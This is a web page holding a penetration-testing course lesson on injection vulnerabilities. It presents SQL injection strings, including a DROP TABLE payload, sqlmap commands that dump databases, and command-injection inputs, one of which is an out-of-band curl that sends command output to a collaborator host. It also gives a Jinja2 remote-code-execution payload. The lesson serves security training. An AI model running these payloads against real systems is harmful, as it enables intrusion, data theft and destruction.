Testing for Injection Vulnerabilities
Use SQLMap, manual payloads, and Burp to test for SQL, command, and LDAP injection.
Testing for Injection Vulnerabilities is a free Cyber Security Academy lesson on CoddyKit — lesson 2 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Cyber Security Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.
Injection Vulnerability Classes
Injection occurs when untrusted data is sent to an interpreter as part of a command or query. The interpreter cannot distinguish data from commands, executing attacker-controlled logic. SQL, command, LDAP, XPath, and template injection are all in this class.
SQL Injection: Manual Testing
Start with simple payloads to probe for SQL injection. A single quote causes a SQL syntax error in vulnerable apps. Check error messages, response length differences, and response time.
# Test for SQLi:
' -- basic quote
'' -- doubled quote
1' OR '1'='1 -- always-true
1; DROP TABLE users -- statement terminator
# In URL:
https://target.com/item?id=1'SQLMap for Automated SQLi
SQLMap automates SQL injection detection and exploitation: detects injection points, identifies DBMS, and can dump databases, read files, and achieve OS code execution on vulnerable systems.
# Basic scan
sqlmap -u 'http://target.com/item?id=1'
# With Burp request file
sqlmap -r request.txt
# Dump databases
sqlmap -u 'http://target.com/item?id=1' --dbs
# Dump a table
sqlmap -u '...' -D mydb -T users --dumpCommand Injection Testing
Command injection occurs when user input is passed to OS shell functions. Test with shell metacharacters: semicolons, pipes, backticks, and $() command substitution.
# Test inputs (form fields, URLs, headers):
; id
| id
`id`
$(id)
&& id
# Blind (no output): use time delays
; sleep 5
| ping -c 5 127.0.0.1
# Or out-of-band:
; curl http://collaborator.example.com/$(id)LDAP Injection
LDAP injection manipulates LDAP queries used for authentication and directory lookups. Test authentication fields with: *)(uid=*))(|(uid=* to bypass filters.
XPath Injection
XPath injection targets XML-based authentication systems. Similar to SQLi — payloads manipulate XPath queries: ' or '1'='1 to bypass authentication.
Template Injection (SSTI)
Server-Side Template Injection occurs when user input is rendered in a template engine (Jinja2, Twig, Freemarker). Detecting it: inject {{7*7}} — if the response shows 49, SSTI exists.
# Detection payloads:
{{7*7}} # Jinja2, Twig
${7*7} # Freemarker, EL
<%= 7*7 %> # ERB (Ruby)
# RCE via Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}Using Burp for Injection Testing
Send requests to Repeater and manually inject payloads into each parameter. Use Intruder to automate fuzzing with injection wordlists (SecLists has excellent injection payloads).
# SecLists injection wordlists:
/usr/share/seclists/Fuzzing/SQLi/
/usr/share/seclists/Fuzzing/SSTI/
/usr/share/seclists/Fuzzing/command-injection*Blind Injection Detection
When there is no visible output, use: time delays to confirm execution, out-of-band DNS callbacks (Burp Collaborator or interactsh), and boolean-based responses (content length changes).
Reading Application Error Messages
Verbose errors reveal database type, query structure, and file paths — invaluable for crafting precise payloads. Always test with debug/error-revealing inputs alongside normal payloads.
Prevention Reference
Injection is prevented by: parameterized queries (SQLi), input validation and shell escaping (command injection), and avoiding template rendering of user input (SSTI). Developers must understand these to write secure code.
Quick Check
What does the SSTI detection payload {{7*7}} confirm when the response shows 49?
Summary: Injection Testing
Injection vulnerabilities are caused by mixing data and commands. Test every user-controlled input with SQL, command, template, and LDAP injection payloads. Use SQLMap for automated SQL injection, Burp Repeater for manual testing, and time-delay/OOB techniques for blind exploitation. Always document payloads and evidence for the report.
Frequently asked questions
Is the “Testing for Injection Vulnerabilities” lesson free?
Yes — the full text of “Testing for Injection Vulnerabilities” is free to read here on the web, and the Cyber Security Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Cyber Security Academy course, upgrade to CoddyKit PRO.
What will I learn in “Testing for Injection Vulnerabilities”?
Use SQLMap, manual payloads, and Burp to test for SQL, command, and LDAP injection. You practise Cyber Security Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.
Do I need any experience to start Cyber Security Academy?
No prior experience is required. Cyber Security Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 2 of 4, so you can start here or from the beginning and move at your own pace.
How long does the “Testing for Injection Vulnerabilities” lesson take?
Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.
Can I write and run code in this Cyber Security Academy lesson?
Yes. Every Cyber Security Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.
All lessons in this course
- Burp Suite Proxy and Intercepting Requests
- Testing for Injection Vulnerabilities
- Authentication and Session Testing
- File Upload and SSRF Vulnerabilities